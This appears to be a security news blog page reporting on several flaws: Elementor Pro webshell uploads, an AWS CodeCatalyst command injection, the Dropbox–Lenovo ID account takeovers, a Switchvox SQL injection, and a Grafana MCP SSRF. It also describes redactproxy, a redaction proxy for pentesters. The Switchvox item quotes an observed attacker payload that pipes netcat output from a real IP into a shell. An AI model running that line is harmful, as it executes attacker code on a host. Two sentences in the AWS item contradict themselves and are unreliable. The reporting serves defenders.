Search This Blog
Powered by Blogger.

Blog Archive

Labels

Footer About

Footer About

Labels

Load More
Trendy Right Now

Popular Posts

Latest News

Critical Nexus 9000 Flaw Could Permit Threat Actors to Gain Root Access

Cisco has issued security patches to fix a critical vulnerability impacting 10 Silicon One-based Nexus 9000 switches that could permit an u...

All the recent news you need to know
Glutton PHP Backdoors
Critical Vulnerability CVE CVE exploits CVE vulnerability Cyber Security Cyber Servers data compromised Glutton PHP Backdoors

Elementor Pro WordPress Flaw Exploited to Upload Webshells and Execute Commands

 

A critical vulnerability in the Elementor Pro WordPress plugin is being actively exploited to upload malicious PHP files and execute commands remotely on the affected websites. 

The vulnerability, tracked as CVE-2026-32475, affects the Elementor Pro versions 4.2.1 and lower. This issue was patched on August 19. Elementor Pro has more than 6 million active installations and is widely used to design WordPress websites with drag-and-drop tools. 

The vulnerability is related to the insufficient validation of file-upload arrays in Elementor Pro forms. Attackers can exploit this issue by uploading an empty file as the first element of the upload array and a malicious PHP file as the second. Then the plugin will not validate the following files in the array, thus allowing the attacker-controlled PHP payload to be successfully uploaded on the server without any additional checks. 

Once the malicious file is uploaded, it will be stored on the /wp-content/uploads/elementor/forms/ directory with a randomly generated name but preserving the attacker’s .php extension. Then the attacker will be able to directly access this file on the server to execute arbitrary commands and potentially deploy a webshell for further attacks. To successfully exploit the vulnerability, an attacker needs to have access to a WordPress website with a published Elementor Pro Form widget that contains at least one File Upload field. 

This is a relatively common case for WordPress websites that utilize Elementor Pro forms. WordPress security company Defiant, which operates the Wordfence firewall, noted that exploitation began on August 19, the same day Elementor released the 4.2.2 version to address the vulnerability. Wordfence observed that the traffic was especially heavy between August 19 and 23, having blocked more than 190,000 attempts to target its customers. 

Wordfence has identified IP addresses that were responsible for thousands of exploitation attempts. Website administrators can add these addresses to their blocklists to protect their WordPress sites. Administrators that utilize Elementor Pro need to make sure to update their software to the latest versions, preferably 4.2.2 or newer. Moreover, they should check their /wp-content/uploads/elementor/forms/ directories for any unexpected .php files. 

As the name suggests, the directory is supposed to contain the files that users upload with Elementor forms, meaning that the discovery of any .php files should be investigated and potentially result in an intrusion assessment.
Read more »
Vulnerabilities and Exploits
AWS CodeCatalyst AWS Vulnerability CodeCatalyst Blueprints Command Injection CWE-78 OS Command Injection Vulnerabilities and Exploits

AWS CodeCatalyst Blueprints SDK Hit by High-Severity Command Injection Flaw


There is a high-severity attack on Amazon CodeCatalyst blueprints that exploits an open-source framework for building them. This vulnerability has been reported by Amazon Web Services. This flaw affects the @amazon-codecatalyst/blueprints.blueprint npm package and can lead to the execution of arbitrary commands in environments operating blueprint resynthesis. 

The Amazon CodeCatalyst blueprints serve as template documents for creating software development projects that can be reused. npm package that is affected provides the framework that blueprint authors use to construct these templates and is part of the open-source project AWS CodeCatalyst Blueprints. 

During blueprint resynthesis, a vulnerability occurs in the process of determining which files an existing project may modify based on its .ownership-file, which is used to determine whether blueprints can modify them. Versions 0.3.155 and earlier handled the owner field of an entry containing a [local] merge strategy without adequate validation, which left it vulnerable to shell command interpretation. 

A repository user with access to commit permissions could potentially use shell metacharacters to alter the affected field. In the context of resynthesis, those characters could be interpreted as commands by the operating system, allowing arbitrary commands to be executed in the resynthesis environment. The executed commands could consequently expose all privileges or credentials available in that environment. 

Amazon has rated CVE-2026-85012 as 8.5 on the CVSS 4.0 scale, indicating that it is a high-severity vulnerability. Under CWE-78, which describes improper neutralization of special elements in operating system commands, this vulnerability has been classified as high severity. Amazon CodeCatalyst service deployments that utilize vulnerable versions of the blueprint framework are affected by this issue as opposed to the CodeCatalyst service itself. 

As stated by Amazon, CodeCatalyst's resynthesis process operates in a separate environment with unique credentials for each project. Additionally, the service performs server-side validation to block merge strategy commands unless they conform to a restricted allowlist, including older blueprint versions. 

AWS Releases Fix for CVE-2026-85012

It has been reported that Amazon has corrected this vulnerability in version 0.3.156 of @amazon-codecatalyst/blueprints.blueprint, which reverts to shell-based command interpretation and executes the relevant command directly in place of shell-based command interpretation. In addition, the patched release restricts accepted values to an allowlisted command format, closing the injection path identified in CVE-2026-85012. 

Shell metacharacters are prevented from being interpreted during blueprint resynthesis as additional commands, closing the injection path identified in CVE-2026-85012. There are versions of the package 0.3.155 and earlier that are affected, so Amazon recommends upgrading to version 0.3.156, with forked and derivative implementations also requiring the appropriate security updates. There is no need for Amazon CodeCatalyst customers to respond to this vulnerability on the service-side. 

Resynthesis jobs within the service are conducted in isolated environments assigned to specific projects, using scoped credentials. Server-side checks are also applied by AWS to reject [local] merge strategy commands that do not conform to the approved format. In addition, these protections apply when blueprints are published using versions of the framework prior to version 0.3.156. 

The primary remediation concern is those projects or development environments that directly utilize the affected open-source framework following the implementation of the package-level fix. This updates the dependency, therefore removing the vulnerable shell execution behavior, and resolving the underlying issue of command injection described in CWE-78.

By removing shell interpretation and enforcing an allowlisted command format, version 0.3.156 resolves the underlying command injection issue. Users who are currently using version 0.3.156 should take the necessary steps to update their SDK.

Read more »
passwords
Data Breach Dropbox Lenovo login systems passwords

Dropbox Says 5,000 Accounts Compromised After Flaw in Lenovo Login System

 


Dropbox has confirmed that hackers broke into roughly 5,000 user accounts last month by exploiting a weakness in how Lenovo verifies email addresses, allowing intruders to log into victims' cloud storage without ever knowing their passwords.

The cloud storage company began notifying affected users this week, telling them that an "unauthorized party" had accessed their accounts between August 4 and August 21. In some cases, the notification said, the attacker viewed or downloaded files stored in the account.

What makes the incident unusual is that Dropbox's own systems were never breached. The company lets users sign in with a Lenovo ID, a login credential tied to Lenovo's Identity Provider Services, as an alternative to a Dropbox password. According to Dropbox, a flaw in Lenovo's email verification process let an outside party register a Lenovo ID using someone else's email address. Once that fraudulent ID was created, the attacker could use it to log straight into the Dropbox account tied to that same email, bypassing the account's actual password entirely.

Dropbox's system trusted Lenovo's confirmation that the attacker owned the email address and did not ask for any additional check through the user's normal Dropbox login. Some of the people affected told Dropbox they had never signed up for a Lenovo ID in the first place, yet their accounts were still reachable through the integration.

A handful of users noticed something was off before Dropbox sent out its warning. One person, posting on Hacker News under the handle xaphod, said they had gotten alerts about suspicious sign-ins roughly two weeks earlier and changed their password and turned on two-factor authentication right away. They also noted that the Dropbox login page had started showing a "Continue with SSO" option tied to their email, despite never having created a Lenovo account.

Dropbox told Reuters that about 5,000 accounts were affected in total, and that none of them had two-factor authentication switched on, which is part of why the fraudulent logins went through unchallenged. Files were viewed or downloaded in fewer than a third of those accounts, a company spokesperson said. Bloomberg, which first reported the breach, cited Dropbox statements and internal records describing hackers browsing and pulling material that users had stored on the platform. Shares of Dropbox slipped about 2.4% in after-hours trading once the news broke.

Lenovo, for its part, described the problem as tied to a "legacy integration" between Lenovo ID and Dropbox that could be misused to improperly authenticate certain Dropbox accounts. A company spokesperson said Lenovo and Dropbox worked together to contain the issue once it was identified, and that Lenovo's own customer accounts were not compromised as a result. Both companies said their investigations are continuing.

Once it understood what was happening, Dropbox expired every session that had been authenticated through a Lenovo ID and cut the link between the two systems altogether. Going forward, anyone signing in through a Lenovo ID will also have to enter their Dropbox password, closing the gap that let the fraudulent logins succeed without one. The company said it has reported the incident to data protection regulators, as required in jurisdictions covered by breach notification rules.

For affected users, Dropbox's advice mirrors standard breach guidance: change the Dropbox password, change the password on the linked email account, and enable two-step verification if it isn't already on. Security researchers reviewing the incident have also suggested checking active sessions, connected third-party apps, shared links, and recent file activity for anything unfamiliar, along with account recovery settings that an attacker could have altered while inside.

The breach adds to a run of recent incidents built around federated login systems rather than direct server intrusions. Security teams have flagged this pattern for years: as more services link their sign-in process to outside identity providers to make logging in more convenient, a flaw in any one partner can end up exposing accounts across the whole chain, even for users who never signed up with that partner directly.

Dropbox has not said whether it plans to end the Lenovo ID integration entirely or continue it under the new password requirement. The company said users who did not receive a direct notification from Dropbox were not affected by the incident.

Read more »
Vulnerabilities and Exploits
CVE-2026-9586 SQL Injection Switchvox Vulnerabilities and Exploits

Switchvox Vulnerability Triggers Active Exploitation Risk

 

Sangoma Switchvox CVE-2026-9586 is a serious unauthenticated SQL injection flaw that can lead to remote code execution, and Horizon3 says it has already seen real-world exploitation attempts. The issue was patched in Switchvox 8.4.0.2, making rapid remediation important for exposed systems. 

Horizon3’s research says Switchvox is an enterprise VoIP management platform used for voicemail, call forwarding, monitoring, and analytics. The vulnerability sits in an unauthenticated HTTP endpoint handled by PhoneAppsHandler.pm, where XML input is parsed and the PhoneIP field is inserted directly into a SQL query without validation. 

That weak input handling can let an attacker inject SQL into the backend, and the blog describes how the query executes with PostgreSQL superuser privileges. Horizon3 notes that this design makes exploitation especially dangerous because the flaw can progress from a single request to code execution on the device. 

The post also highlights indicators of compromise, including activity in /var/log/switchvox/db-quirks.log. In one observed case, attackers used a payload involving nc 176.65.148.184 39323 | sh, then followed up with commands to enumerate processes and exfiltrate results through a remote server. 

The disclosure timeline shows Horizon3 reported the issue on 10 April 2026, Sangoma released the fix on 14 July 2026, and Defused Cyber honeypots recorded valid exploitation on 30 August 2026. Horizon3 also says Shodan showed roughly 4,000 internet-exposed Switchvox devices, which suggests a broad attack surface for organizations that have not patched yet. 

Safety recommendations 

Upgrade immediately to Switchvox 8.4.0.2 or a later supported release, since that version contains the fix for CVE-2026-9586. If patching cannot happen right away, restrict access to the Switchvox web interface and /pa endpoint with firewalls, VPNs, and network segmentation, and avoid direct internet exposure. Security teams should also review /var/log/switchvox/db-quirks.log, inspect outbound traffic for suspicious connections, and investigate any indicators tied to the observed attacker IP.
Read more »
redteaming
AI Pentesting Cyber Security Pentesting redteam redteaming

redactproxy, a tool that lets pentesters use AI without leaking client data

AI coding agents are now part of a lot of security work. They are good at the parts a tester has no time for: going through every request, every parameter and every file rather than a sample of each. But none of that work happens on your machine. Everything the agent reads is sent to a model running on someone else's servers. So are you sending your client's data to an AI provider?

Where the client's data goes

The moment you point one of these agents at a live engagement, everything it touches reaches a third party. Client domains. Internal hostnames. Credentials pulled out of a config file. Employee email addresses. The client's own name, in the folder path, in the ticket reference, in the commit message. A testing agreement authorises you to access the client's systems. It rarely says anything about transmitting their contents to a model provider, and the same gap shows up against PCI-DSS, HIPAA and SOC 2 data-handling clauses.

The usual advice lands in one of two places: run a local model, or don't paste client data. Both work. Both cost you the thing you wanted. A 7B model on a laptop is not the model that spots the subtle chain across three hosts, and an agent you feed carefully redacted scraps by hand is an agent you are babysitting instead of using.

There is a third option. Almost none of that data needs to be there in the first place: the model does not need the real hostname to reason about a finding on it. It needs a hostname that stays the same every time it sees it.

That is where redactproxy(https://github.com/CSPF-Founder/redactproxy) comes in.

Where the model runs

Before we get to what redactproxy does, we need to understand where the work actually happens. Claude Code is the part on your machine: a terminal tool that reads your files, runs your commands and collects the output. The model is not on your machine at all: it runs on an AI provider's servers, Anthropic for example. Claude Code does no reasoning of its own, so anything it needs an answer about, including the scan output and the config file it just read, is sent to those servers over the API.

RedactProxy

redactproxy is an open-source tool from the Cyber Security & Privacy Foundation. It sits between Claude Code and the provider, on your own machine, and rewrites that API traffic in both directions. On the way out it replaces real client values with stable fake ones. On the way back it puts the real ones in again, before Claude Code ever sees the response.




The provider only ever sees placeholders. Your tool calls still run against real infrastructure, because the substitution back happens before the response reaches the agent. When the model writes a Bash command against a placeholder hostname, Claude Code receives the real hostname and runs it against the real host. Not just the first time: on every response, ten turns later, for the life of the conversation.

The swap happens inside the traffic itself, so nothing about the way your team works changes. No telemetry, no sync, no backup: everything it stores stays on the machine you run it on.

What the model receives

Here is some scan and config-dump output, exactly as Claude Code would send it, next to what the model actually receives.



What changed, and what didn't:
  • The mail. subdomain survives, and the same organisation placeholder appears in both the hostname and the email address. The relationship between them is intact.
  • The host octet .19 survives. Only the /24 network changed, so hosts that were adjacent stay adjacent.
  • The AWS key still looks like an AWS key, so the model knows what kind of secret it found without seeing the secret.
  • The connection string collapses into one opaque placeholder, because the whole credential span is sensitive.
  • The nginx banner, the latency, the port, the Dell OUI comment: untouched. None of them identify the client.

Stable placeholders

An engagement is redactproxy's word for one client project. Inside one, the same real value always gets the same fake. The hostname that became tok5198ede8bdbb1ada.internal this morning is still that same fake tomorrow, and in every request in between. This is not a convenience. It is the reason the tool is usable at all.

The model can still work out that two hosts belong to the same organisation. It just never learns which organisation.
Because tok1a2b3c4d5e6f7890.com and mail.tok1a2b3c4d5e6f7890.com are consistently the same fake, the model can reason that a finding on one host relates to a finding on another, that an email address belongs to the same company as a web server, that the same credential turned up in two places. All the analytical work survives. The identity does not.

The mappings live in the engagement's own folder and survive restarts, so the placeholder the model saw yesterday is still the same one today. Each engagement is self-contained and shares nothing with the others.

Placeholder shapes

Redaction that destroys structure destroys usefulness. Where a value's shape carries something useful but not identifying, the shape is kept:


The ranges are not arbitrary. Every fake comes from a space that cannot collide with something real: an IPv4 block reserved for equipment testing rather than one of the private ranges internal engagements actually target, the 555 phone exchange reserved for fiction, MAC addresses that can never belong to a real manufacturer. Fake credentials carry the string FAKE in a position where a real key can only hold a digit or a letter A to F, so no vendor could ever issue one.

What it detects

Detection is regex plus a validation step. No model in the loop, no network call, no learning. The detector set covers, roughly:
  • Network identity: domains and hostnames (bare or inside URLs), IPv4, IPv6, MAC addresses.
  • People: email addresses, NANP and international phone numbers.
  • Credentials for 25+ vendors: AWS, GitHub, GitLab, Slack, Stripe, Razorpay, Google, npm, DigitalOcean, Cloudflare, Azure, Docker Hub, CircleCI, Terraform, Snyk, Vault, Twilio, SendGrid, OpenAI, Anthropic and more, plus JWTs, bearer tokens, connection strings, PEM private keys and password hashes.
  • Regional PII: Indian Aadhaar and PAN numbers.
  • AD artifacts: machine account names, GPP cpassword values.
  • Client identity: whatever you add by hand, which is the part that matters most. See below.
There is also an allowlist, split into categories you can toggle. Your own out-of-band testing services (burpcollaborator.net, interact.sh, webhook.site) are never the client's, and common CDN and public dev platform hostnames say nothing about who the client is. Every category can be switched off per engagement.

Only the parts of a request that carry content get scanned, and only the values that match get replaced. Everything else is left exactly as it was. MCP tool calls and results are scanned too, because an MCP server is local infrastructure producing exactly the client data this exists to keep in.

Fail closed

If the proxy cannot finish redacting a request, it returns an error instead of sending it on. A malformed request, a detector that errors, a store that cannot save a new mapping: all of them fail the request rather than let it through.

An unredacted forward is the one outcome this project treats as worse than a broken request.

Setting up an engagement
go install github.com/CSPF-Founder/redactproxy/cmd/redactproxy@latest
Then, in a folder for the engagement. Name it after an engagement code, not the client; the Known gaps section explains why that matters more than it looks.
cd ~/engagements/eng-2026-014
redactproxy wizard --engagement eng-2026-014
The wizard asks four things. First, customer name variations: the legal name, the trading name, abbreviations, product names, internal codenames. No detector can match a name, so this is the only way they get redacted. They become case-insensitive substring matches, so XYZCorp also catches XYZCorporation.

Second, domains. Give the base domain only. Subdomains, email addresses at that domain and URLs all resolve from it automatically. Internal-only names work too: an AD forest, or any private scheme that will never appear on a public suffix list.

Third, which API this engagement talks to. Real Claude by default. redactproxy never asks for an Anthropic credential; it forwards Claude Code's own authentication untouched. Anything else speaking the Anthropic Messages API works too, z.ai for example, and each engagement remembers its own choice, so two client projects can run against different providers side by side.

Fourth, it offers two conveniences for the folder: a CLAUDE.md note explaining the placeholder shapes, and a .claude/settings.local.json that points Claude Code at the proxy and closes several channels that bypass the proxy entirely.

Then:
redactproxy      # terminal 1
claude           # terminal 2, already pointed at the proxy
That terminal running the proxy is also a live console. Type show to see every mapping minted so far, remove <value> to drop a bad one, or rules block "XyzExample" to add a value mid-session without interrupting anything.

Two files the wizard writes

The CLAUDE.md note is not decoration. Without it, a session sees strange placeholder values with no explanation: it corrects them as typos, hesitates to use them in tool calls, or retypes them from memory slightly wrong. The note tells the model these are stable identifiers to copy verbatim. It also covers a trap worth knowing yourself: if the model decodes base64 inline, the decoded content lands in its own output completely unprotected, because the encoded form passed through unredacted. Decoding to a file with Bash and reading the file back gives that content a normal pass through redaction.

The settings hardening closes paths that never touch ANTHROPIC_BASE_URL at all. The Artifact tool is a confirmed leak path: a report published through it goes straight to a hosted claude.ai URL, entirely unredacted, through a separate service call the proxy never sees. The wizard removes it from the session entirely rather than prompting for it each time, because a permission prompt can be approved out of habit and a tool that was never offered cannot leak anything. It also turns off WebFetch's safety check, which sends the target hostname to Anthropic before the fetch, whichever provider the engagement uses. A domain being reconned is exactly the value this tool exists to keep off side channels.

Known gaps

redactproxy ships a Known gaps page, and it is worth reading before you point this at real client data. The ones that matter most:
  • Your folder name is the big one, and redaction cannot fix it. Claude Code puts its working directory into the system field of every request, and that field is deliberately never scanned. A folder called xyz-example-bank-pentest sends "xyz example bank" to the model on every single request no matter what your rules say. The tool warns about it, at wizard time and at startup, but the only fix is to name engagement folders after an engagement code.
  • Encoded data passes straight through. A .env piped through base64, an xxd dump, Terraform state: none of it looks like anything to a regex. Decode locally first.
  • Names and prose are not detected. This is what rules block is for, and why it is the wizard's first question. A company name shows up in URL paths, ticket references, code comments and commit messages, and no detector can recognise it.

Who this is for

Pentest and consulting teams who want the productivity of an AI coding agent on a live engagement, and who would rather not explain to a client why their internal hostnames are in a third party's logs.

It was built for pentest work, and that shapes the vocabulary: engagements, clients, findings. Nothing in the redaction is specific to offensive work, though. Blue teams and infrastructure teams hit the same problem: a SOC analyst pasting alerts full of internal hostnames, a sysadmin debugging a manifest with credentials in it, anyone under an NDA who wants an AI agent working on real data. The detectors only care about the shapes they recognise, not why you are looking at them.

Read more »
Vulnerabilities and Exploits
Grafana Breach MCP Flaw Security Breach Vulnerabilities and Exploits

Grafana MCP Flaw Exposes Session Spoofing and SSRF Risk

 

Grafana MCP has come under security scrutiny after researchers found a dangerous combination of unauthenticated tool access and server-side request forgery, or SSRF, that could expose sensitive internal systems. The issue matters because Grafana is widely used to monitor production metrics, logs, traces, and incidents, making it a high-value target in enterprise environments.

Pillar Security reported that affected Grafana MCP deployments allowed a reachable caller to invoke MCP tools without authentication by using a locally generated session value in the expected format. In practice, this meant an attacker could call tools such as tools/list and tools/call even without presenting a real credential, and the server would still use its configured Grafana service account on the attacker’s behalf. Grafana responded by adding optional bearer-token authentication in v1.1.0, which returns a 401 error before tool execution when configured.

The second flaw was more subtle but equally dangerous. The grafana_api_request tool accepted an X-Grafana-URL value that let the caller choose the outbound destination, along with the method, path, body, and headers . Although Grafana had already prevented its service-account token from being sent to foreign hosts, the server still made the request and returned the response, which created a critical SSRF condition assigned CVE-2026-19516 with a CVSS score of 9.1.

Researchers showed that this SSRF primitive could be used to reach internal services and even simulate a cloud metadata flow in a controlled environment . That is important because the danger is not limited to token leakage; the server itself becomes a readable and method-capable proxy from its own network position, extending the attacker’s reach beyond what they could access directly.

The broader lesson is that MCP servers can function like identity brokers, translating user instructions into privileged actions performed with the server’s credentials and network access . Session identifiers, host validation, and origin checks may help with protocol state, but they do not replace authentication or authorization. For operators, the practical defense is clear: require inbound authentication, minimize service-account permissions, restrict outbound destinations with strict allowlists, and block private, loopback, and metadata ranges by default .
Read more »
Subscribe to: Posts (Atom)

Featured